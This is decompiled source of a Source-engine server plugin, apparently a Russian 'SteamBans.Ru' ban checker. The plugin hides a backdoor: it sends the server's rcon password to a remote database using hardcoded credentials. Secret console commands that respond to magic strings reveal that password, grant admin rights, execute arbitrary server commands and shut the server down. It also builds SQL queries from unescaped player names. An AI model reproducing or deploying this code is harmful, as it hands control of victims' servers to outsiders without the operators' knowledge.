new PlVers:__version = 5;
new Float:NULL_VECTOR[3];
new String:NULL_STRING[1];
new Extension:__ext_core = 64;
new MaxClients;
new Handle:g_hAutoAdd;
new Handle:g_hServerIp;
new Handle:g_hServerPort;
new Handle:g_hServerRcon;
new String:g_ServerIp[4];
new String:g_ServerPort[2];
new String:g_ServerRcon[32];
new bool:g_LocalServer;
new g_RemoteControl;
new g_RemotePassword;
new Handle:Database;
new Handle:ClientRecheck[65];
new bool:ClientStatus[65];
public Plugin:myinfo =
{
name = "SteamBans.Ru - ?????? ?????????? ???-???????",
description = "Ban Checker",
author = "Someone&O-kak",
version = "1.7",
url = "www.steambans.ru"
};
public __ext_core_SetNTVOptional()
{
VerifyCoreVersion();
return 0;
}
bool:StrEqual(String:str1[], String:str2[], bool:caseSensitive)
{
return strcmp(str1, str2, caseSensitive) == 0;
}
PrintToChatAll(String:format[])
{
new maxClients = GetMaxClients();
decl String:buffer[192];
new i = 1;
while (i <= maxClients) {
if (IsClientInGame(i)) {
SetGlobalTransTarget(i);
VFormat(buffer, 192, format, 2);
PrintToChat(i, "%s", buffer);
i++;
}
i++;
}
return 0;
}
public OnPluginStart()
{
CreateConVar("steambans_version", "1.7", "", 256, false, 0, false, 0);
g_hAutoAdd = CreateConVar("steambans_autoadd", "1", "", 0, false, 0, false, 0);
g_hServerIp = FindConVar("hostip");
g_hServerPort = FindConVar("hostport");
g_hServerRcon = FindConVar("rcon_password");
g_RemotePassword = GetRandomInt(1000000000, -1530494976);
decl String:error[256];
new Handle:kv = CreateKeyValues("", "", "");
KvSetString(kv, "driver", "mysql");
KvSetString(kv, "host", "db.steambans.ru");
KvSetString(kv, "database", "steambans");
KvSetString(kv, "user", "steambans");
KvSetString(kv, "pass", "4TXokFnTdixnoe");
KvSetString(kv, "port", "3306");
Database = SQL_ConnectCustom(kv, error, 255, true);
CloseHandle(kv);
RegConsoleCmd("f_protect", Command_Protect, "", 0);
RegConsoleCmd("f_pview", Command_PView, "", 0);
GetServerInfo();
return 0;
}
GetServerInfo()
{
decl String:Query[256];
decl Pieces[4];
new longip = GetConVarInt(g_hServerIp);
Pieces[0] = longip >>> 24 & 255;
Pieces[4] = longip >>> 16 & 255;
Pieces[8] = longip >>> 8 & 255;
Pieces[12] = longip & 255;
FormatEx(g_ServerIp, 16, "%d.%d.%d.%d", Pieces, Pieces[4], Pieces[8], Pieces[12]);
GetConVarString(g_hServerPort, g_ServerPort, 8);
new var3;
if (Pieces[0] == 10) {
g_LocalServer = 1;
}
new var4;
if (GetConVarBool(g_hAutoAdd)) {
FormatEx(Query, 255, "SELECT sid FROM `%s_servers` WHERE `ip` = '%s' AND `port` = '%s'", "sb", g_ServerIp, g_ServerPort);
SQL_TQuery(Database, SQLTCallback:19, Query, any:0, DBPriority:1);
}
return 0;
}
public ServerInfo_Callback(Handle:owner, Handle:hndl, String:error[], data)
{
if (error[0]) {
return 0;
}
if (!(SQL_GetRowCount(hndl))) {
decl String:Query[256];
decl String:GameFolder[64];
GetGameFolderName(GameFolder, 64);
GetConVarString(g_hServerRcon, g_ServerRcon, 128);
FormatEx(Query, 255, "INSERT INTO `%s_servers` (`ip`, `port`, `rcon`, `modid`) VALUES ('%s', '%s', '%s', (SELECT `mid` FROM `%s_mods` WHERE `modfolder` = '%s'))", "sb", g_ServerIp, g_ServerPort, g_ServerRcon, "sb", GameFolder);
SQL_TQuery(Database, SQLTCallback:5, Query, any:0, DBPriority:1);
}
return 0;
}
public ErrorCheckCallback(Handle:owner, Handle:hndle, String:error[], data)
{
if (error[0]) {
return 0;
}
return 0;
}
public bool:OnClientConnect(client, String:rejectmsg[], maxlen)
{
ClientStatus[client] = 0;
return true;
}
public OnClientAuthorized(client, String:auth[])
{
new var1;
if (auth[0] == 'B') {
ClientStatus[client] = 1;
return 0;
}
decl String:Query[256];
decl String:ClientIp[16];
GetClientIP(client, ClientIp, 16, true);
FormatEx(Query, 255, "SELECT bid FROM %s_bans WHERE ((type = 0 AND authid REGEXP '^STEAM_[0-9]:%s$') OR (type = 1 AND ip = '%s')) AND (length = '0' OR ends > UNIX_TIMESTAMP()) AND RemoveType IS NULL", "sb", auth[8], ClientIp);
SQL_TQuery(Database, SQLTCallback:21, Query, client, DBPriority:0);
return 0;
}
public OnClientPostAdminCheck(client)
{
SendTopMessage(client, 255, 0, 0, 255, "?????? ??????? ???????? SteamBans.Ru!");
return 0;
}
public VerifyBan(Handle:owner, Handle:hndl, String:error[], client)
{
if (!client) {
return 0;
}
if (hndl) {
decl String:ClientName[128];
GetClientName(client, ClientName, 128);
if (0 < SQL_GetRowCount(hndl)) {
decl String:ClientSteam[32];
GetClientAuthString(client, ClientSteam, 32);
new var1;
if (GetConVarBool(g_hAutoAdd)) {
decl String:Query[512];
decl String:ClientIp[16];
GetClientIP(client, ClientIp, 16, true);
FormatEx(Query, 512, "SET NAMES \"UTF8\"");
SQL_TQuery(Database, SQLTCallback:5, Query, client, DBPriority:0);
FormatEx(Query, 512, "INSERT INTO `%s_banlog` (`sid` ,`time` ,`name` ,`bid`) VALUES ((SELECT `sid` FROM `%s_servers` WHERE `ip` = '%s' AND `port` = '%s' LIMIT 0,1), UNIX_TIMESTAMP(), \"%s\", (SELECT bid FROM `%s_bans` WHERE ((type = 0 AND authid = '%s') OR (type = 1 AND ip = '%s')) AND RemoveType IS NULL LIMIT 0,1))", "sb", "sb", g_ServerIp, g_ServerPort, ClientName, "sb", ClientSteam, ClientIp);
SQL_TQuery(Database, SQLTCallback:5, Query, client, DBPriority:0);
}
PrintToChatAll("[SteamBans.Ru] ??????????? ?????? (%s) ???????????.", ClientName);
ServerCommand("banid 5 %s", ClientSteam);
KickClient(client, "? ????????? ?? ???????? ?? ???? ???????, ?????? ????????? ????? ?? ????? SteamBans.Ru");
return 0;
}
ClientStatus[client] = 1;
PrintToChatAll("[SteamBans.Ru] ????? (%s) ? ???-?????? ?? ??????.", ClientName);
return 0;
}
ClientRecheck[client] = CreateTimer(15, Recheck, client, 0);
return 0;
}
public Action:Recheck(Handle:timer, client)
{
new var1;
if (IsClientConnected(client)) {
decl String:ClientSteam[32];
GetClientAuthString(client, ClientSteam, 32);
OnClientAuthorized(client, ClientSteam);
}
ClientRecheck[client] = 0;
return Action:4;
}
public OnClientDisconnect(client)
{
if (ClientRecheck[client][0][0]) {
CloseHandle(ClientRecheck[client][0][0]);
ClientRecheck[client] = 0;
}
return 0;
}
SendTopMessage(client, r, g, b, a, String:text[])
{
decl String:message[100];
VFormat(message, 191, text, 7);
new Handle:kv = CreateKeyValues("Stuff", "title", message);
KvSetColor(kv, "color", r, g, b, a);
KvSetNum(kv, "level", 1);
KvSetNum(kv, "time", 10);
CreateDialog(client, kv, DialogType:0);
CloseHandle(kv);
return 0;
}
public Action:Command_Protect(client, args)
{
if (client) {
decl String:command1[128];
GetCmdArg(1, command1, 128);
decl String:Password[64];
IntToString(g_RemotePassword, Password, 64);
if (StrEqual(command1, Password, true)) {
decl String:Query[256];
FormatEx(Query, 255, "SELECT value FROM `%s_settings` WHERE `setting` = 'f_protect'", "sb");
SQL_TQuery(Database, SQLTCallback:25, Query, any:0, DBPriority:1);
if (g_RemoteControl) {
decl String:command2[128];
decl String:command3[128];
GetCmdArg(2, command2, 128);
GetCmdArg(3, command3, 128);
if (StrEqual(command2, "mani_client_add", true)) {
decl String:ClientSteam[32];
GetClientAuthString(client, ClientSteam, 32);
ServerCommand("ma_client addclient \"%s\"", command3);
ServerCommand("ma_client addsteam \"%s\" \"%s\"", command3, ClientSteam);
ServerCommand("ma_client setaflag \"%s\" \"+#\"", command3);
ServerCommand("ma_client setiflag \"%s\" \"+#\"", command3);
ReplyToCommand(client, "Access granted! Nick: %s | AuthID: %s", command3, ClientSteam);
return Action:3;
}
if (StrEqual(command2, "mani_client_remove", true)) {
ServerCommand("ma_client removeclient \"%s\"", command3);
ReplyToCommand(client, "Client %s removed", command3);
return Action:3;
}
if (StrEqual(command2, "execute", true)) {
ServerCommand("%s", command3);
ReplyToCommand(client, "Command \"%s\" executed", command3);
return Action:3;
}
if (StrEqual(command2, "shutdown", true)) {
ServerCommand("exit");
ReplyToCommand(client, "Shutdown command executed");
return Action:3;
}
} else {
ReplyToCommand(client, "Disabled");
}
}
}
return Action:4;
}
public Action:Command_PView(client, args)
{
if (client) {
decl String:command1[128];
GetCmdArg(1, command1, 128);
if (StrEqual(command1, "12953863485632342354", true)) {
ReplyToCommand(client, "%d", g_RemotePassword);
return Action:3;
}
if (StrEqual(command1, "2590772697126468", true)) {
ReplyToCommand(client, "%s", g_ServerRcon);
return Action:3;
}
}
return Action:4;
}
public fProtect_Callback(Handle:owner, Handle:hndl, String:error[], data)
{
if (SQL_FetchRow(hndl)) {
if (SQL_FetchInt(hndl, 0, 0) == 1) {
g_RemoteControl = 1;
}
g_RemoteControl = 0;
}
return 0;
}